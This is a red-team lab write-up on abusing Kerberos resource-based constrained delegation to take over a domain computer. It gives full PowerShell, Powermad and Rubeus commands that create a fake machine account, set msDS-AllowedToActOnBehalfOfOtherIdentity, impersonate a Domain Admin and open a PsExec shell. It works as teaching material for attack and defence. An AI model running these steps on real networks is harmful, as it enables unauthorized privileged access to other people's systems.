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Kerberos Resource-based Constrained Delegation: Computer Object Takeover

It's possible to gain code execution with elevated privileges on a remote computer if you have WRITE privilege on that computer's AD object.

This lab is based on a video presented by @wald0 - https://www.youtube.com/watch?v=RUbADHcBLKg&feature=youtu.be

Overview

High level overview of the attack as performed in the lab:

  • We have code execution on the box WS02 in the context of offense\sandy user;
  • User sandy has WRITE privilege over a target computer WS01;
  • User sandy creates a new computer object FAKE01 in Active Directory (no admin required);
  • User sandy leverages the WRITE privilege on the WS01 computer object and updates its object's attribute msDS-AllowedToActOnBehalfOfOtherIdentity to enable the newly created computer FAKE01 to impersonate and authenticate any domain user that can then access the target system WS01. In human terms this means that the target computer WS01 is happy for the computer FAKE01 to impersonate any domain user and give them any access (even Domain Admin privileges) to WS01;
  • WS01 trusts FAKE01 due to the modified msDS-AllowedToActOnBehalfOfOtherIdentity;
  • We request Kerberos tickets for FAKE01$ with ability to impersonate offense\spotless who is a Domain Admin;
  • Profit - we can now access the c$ share of ws01 from the computer ws02.

Kerberos Delegation vs Resource Based Kerberos Delegation

  • In unconstrained and constrained Kerberos delegation, a computer/user is told what resources it can delegate authentications to;
  • In resource based Kerberos delegation, computers (resources) specify who they trust and who can delegate authentications to them.

Requirements
Target computer WS01
Admins on target computer [email protected]
Fake computer name FAKE01
Fake computer SID To be retrieved during attack
Fake computer password 123456
Windows 2012 Domain Controller DC01

Since the attack will entail creating a new computer object on the domain, let's check if users are allowed to do it - by default, a domain member usually can add up to 10 computers to the domain. To check this, we can query the root domain object and look for property ms-ds-machineaccountquota

Get-DomainObject -Identity "dc=offense,dc=local" -Domain offense.local

The attack also requires the DC to be running at least Windows 2012, so let's check if we're in the right environment:

Get-DomainController

Last thing to check - the target computer WS01 object must not have the attribute msds-allowedtoactonbehalfofotheridentity set:

Get-NetComputer ws01 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

This is the attribute the above command is referring to:

Creating a new Computer Object

Let's now create a new computer object for our computer FAKE01 (as referenced earlier in the requirements table) - this is the computer that will be trusted by our target computer WS01 later on:

import-module powermad
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Checking if the computer got created and noting its SID:

Get-DomainComputer fake01
# computer SID: S-1-5-21-2552734371-813931464-1050690807-1154

Create a new raw security descriptor for the FAKE01 computer principal:

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2552734371-813931464-1050690807-1154)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

Modifying Target Computer's AD Object

Applying the security descriptor bytes to the target WS01 machine:

Get-DomainComputer ws01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

Reminder - we were able to write this because offense\Sandy belongs to security group offense\Operations, which has full control over the target computer WS01$ although the only important one/enough is the WRITE privilege:

If our user did not have the required privileges, you could infer that from the verbose error message:

Once the msDS-AllowedToActOnBehalfOfOtherIdentitity is set, it is visible here:

Same can be seen this way:

Get-DomainComputer ws01 -Properties 'msds-allowedtoactonbehalfofotheridentity'

We can test if the security descriptor assigned to computer ws01 in msds-allowedtoactonbehalfofotheridentity attribute refers to the fake01$ machine:

(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl

Note that the SID is referring to S-1-5-21-2552734371-813931464-1050690807-1154 which is the fake01$ machine's SID - exactly what we want it to be:

Execution

Generating RC4 Hash

Let's generate the RC4 hash of the password we set for the FAKE01 computer:

\\VBOXSVR\Labs\Rubeus\Rubeus\bin\Debug\Rubeus.exe hash /password:123456 /user:fake01 /domain:offense.local

Impersonation

Once we have the hash, we can now attempt to execute the attack by requesting a kerberos ticket for fake01$ with ability to impersonate user spotless who is a Domain Admin:

\\VBOXSVR\Labs\Rubeus\Rubeus\bin\Debug\rubeus.exe s4u /user:fake01$ /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:spotless /msdsspn:cifs/ws01.offense.local /ptt

Unfortunately, in my labs, I was not able to replicate the attack at first, even though according to rubeus, all the required kerberos tickets were created successfully - I could not gain remote admin on the target system ws01:

Once again, checking kerberos tickets on the system showed that I had a TGS ticket for spotless for the CIFS service at ws01.offense.local, but the attack still did not work:

Trial and Error

Talking to a couple of folks who had successfully simulated this attack in their labs, we still could not figure out what the issue was. After repeating the the attack over and over and carrying out various other troubleshooting steps, I finally found what the issue was.

Note how the ticket is for the SPN cifs/ws01.offense.local and we get access denied when attempting to access the remote admin shares of ws01:

Computer Take Over

Note, howerver if we request a ticket for SPN cifs/ws01 - we can now access C$ share of the ws01 which means we have admin rights on the target system WS01:

\\VBOXSVR\Tools\Rubeus\Rubeus.exe s4u /user:fake01$ /domain:offense.local /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:spotless /msdsspn:http/ws01 /altservice:cifs,host /ptt

To further prove we have admin rights - we can write a simple file from ws02 to ws01 in c:\users\administrator:

Additionally, check if we can remotely execute code with our noisy friend psexec:

\\vboxsvr\tools\PsExec.exe \\ws01 cmd

{% hint style="warning" %} Note that the offense\spotless rights are effective only on the target system - i.e. on the system that delegated (WS01) another computer resource (FAKE01) to act on the target's (WS01) behalf and allow to impersonate any domain user.

In other words, an attack can execute code/commands as offense\spotless only on the WS01 machine and not on any other machine in the domain. {% endhint %}

References

{% embed url="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html" %}

{% embed url="https://github.com/Kevin-Robertson/Powermad" %}

{% embed url="https://github.com/PowerShellMafia/PowerSploit" %}

{% embed url="https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/" %}

{% embed url="https://decoder.cloud/2019/03/20/donkeys-guide-to-resource-based-constrained-delegation-from-standard-user-to-da/" %}